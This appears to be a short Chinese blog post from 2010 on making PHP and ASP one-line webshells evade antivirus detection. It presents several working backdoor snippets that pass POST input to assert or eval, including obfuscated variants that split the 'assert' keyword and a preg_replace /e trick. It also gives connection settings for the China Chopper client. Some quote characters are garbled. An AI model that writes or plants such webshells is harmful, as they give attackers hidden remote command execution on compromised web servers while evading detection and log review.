Mea.ningful  .Me

而生命

redpill

关于PHP一句话的免杀

2010-08-18 15:48:06

<?php $_GET['ts7']($_POST['cmd']);?>

客户端用菜刀,密码cmd,url为test.php?ts7=assert

这个应该算没有什么特征码了,但是缺点就是在web日志中会暴露出来assert

可以都用post:

<?php $_POST['ts7']($_POST['cmd']);?>

在菜刀说明用<O>ts7=assert</O>post附加数据.

这中间考虑了这些:

<?php $ts7 = (string)key($_POST); $ts7($_POST[’assert']); ?>

猛然发现assert这个关键词又出现了。。 既然字符串可以直接这样用,那还可以这样:

<?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST["cmd"]); ?>

或者用$a = str_replace(x,””,”axsxxsxexrxxt”)

以上说来,感觉<?php $_POST‘ts7’;?>算是最难查到的一种了。

==========================

ywisax 在论坛上又发了这个: 不知是谁写的 百度了一堆 都没写出处,貌似是lcx写的:

asp版的,这是utf-8编码,自己看着弄吧

<%@LANGUAGE=”JAVASCRIPT” CODEPAGE=”65001″%> <% var lcx = {‘名字’ : Request.form(‘#’), ‘性别’ : eval, ‘年龄’ : ‘18′, ‘昵称’ : ‘请叫我一声老大’}; lcx.性别((lcx.名字)+”); %>

用冰狐就行了

<?php @preg_replace(“/[email]/e”,$_POST['h'],”error”); ?>

菜刀附加数据: <O>h=@eval($_POST[c]);</O>

[email]和error你看着换吧,怎么隐蔽怎么来 密码c